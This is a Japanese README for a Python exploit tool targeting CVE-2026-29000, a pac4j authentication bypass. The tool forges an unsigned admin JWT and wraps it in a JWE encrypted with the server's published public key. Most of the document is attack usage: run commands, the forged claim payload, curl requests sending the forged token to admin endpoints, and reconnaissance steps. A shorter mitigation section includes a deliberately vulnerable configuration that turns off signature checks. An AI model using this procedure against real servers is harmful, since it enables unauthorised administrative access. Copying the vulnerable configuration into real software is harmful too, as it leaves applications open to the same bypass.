
Python POC、CVE-2026-29000 向けエクスプロイト
概念実証 CVE-2026-29000 - pac4j JWT 実装における重大な認証バイパス脆弱性。攻撃者は有効な署名なしで管理者トークンを偽造できます。
このツールは教育目的および許可されたセキュリティテスト目的のみに提供されています。作者はこのエクスプロイトの誤用、損害、または違法使用について一切の責任を負いません。
この脆弱性は、pac4j の JWT 認証メカニズムの欠陥を悪用します。このライブラリは以下の動作を行います:
alg: "none" を含む署名なしトークンを受け入れます攻撃者は任意のクレーム(role: "ROLE_ADMIN" など)を含む署名なし JWT を作成し、サーバーの公開鍵を使用して JWE コンテナに暗号化し、管理者機能への不正アクセスを得ることができます。
このエクスプロイトを成功させるには、ターゲットサーバーが以下の条件をすべて満たす必要があります:
サーバーは以下のいずれかのエンドポイントを介して公開鍵を公開する必要があります:
/.well-known/jwks.json (標準 OAuth/OIDC エンドポイント)/api/auth/jwks (カスタムエンドポイント)理由: エクスプロイトは自動的にサーバーの公開鍵を取得し、偽造 JWE トークンを暗号化します。
サーバーは以下を満たす必要があります:
role クレームを受け入れ、処理するROLE_ADMIN)一般的なロール:
ROLE_ADMIN - フル管理アクセスROLE_USER - 標準ユーザーアクセスサーバーは以下を満たす必要があります:
アプリケーションは以下の pac4j 設定を使用する必要があります:
"none" に設定されている、または不十分なアルゴリズム検証requests, jwcrypto# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
例:
python3 exploit.py http://vulnerable-app.local:8080
スクリプトは以下を実行します:
role: "ROLE_ADMIN" を含む署名なし JWT を生成しますpython3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
JWKS エンドポイントが公開されていない場合、手動で JWK を指定します:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
エクスプロイトは以下の形式で JWE トークンを出力します:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
HTTP リクエストでトークンを使用して保護されたエンドポイントにアクセスします:
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
JWT は署名なし(alg: "none")で作成されます。これは通常は無効ですが、脆弱なサーバーでは受け入れられます。
エクスプロイトは以下を照会します:
/.well-known/jwks.json (OAuth/OIDC 標準)/api/auth/jwks (カスタムエンドポイント)これにより、暗号化に必要なサーバーの RSA 公開鍵を取得します。
署名なし JWT は以下を使用して暗号化されます:
これにより、サーバーが復号できるが内部の署名を検証しない JWE トークンが作成されます。
JWE トークンは Authorization ヘッダーに含まれます:
Authorization: Bearer <JWE_TOKEN>
脆弱なサーバーはそれを復号し、署名なし JWT を抽出し、署名を検証せずにクレームを信頼します。
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
/.well-known/jwks.json または /api/auth/jwks が公開されているか確認alg: "none" のトークンを受け入れるログを探す# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
署名検証の強制
// BAD - Accepts unsigned tokens
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerable
// GOOD - Requires valid signature
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
JWT アルゴリズムの検証
alg: "none" を決して受け入れない不要な場合は JWE を無効化
pac4j の更新
トークン検証レイヤーの追加
exp クレーム)を検証iss クレーム)を確認JWKS エンドポイントアクセスの制限
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Internal networks only
deny all;
}
認証ログの監視
alg: "none" のトークンでアラートネットワークセグメンテーション
定期的なセキュリティ監査
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABLE: No signature verification
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepts JWE but doesn't verify inner JWT
return new JWEEncrypter();
}
}
このエクスプロイトは教育目的および許可されたセキュリティテスト目的のみに提供されています。
**コンピュータシステムへの不正アクセスは違法です。**このツールは以下のシステムでのみ使用する必要があります:
作者はこのツールの誤用または損害について責任を負いません。
MIT ライセンス - 詳細は LICENSE ファイルを参照
バグを発見しましたか?改善点がありますか?
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)問題、質問、提案がある場合:
最終更新: 2026年5月
作者: セキュリティ研究チーム
ステータス: 教育用 PoC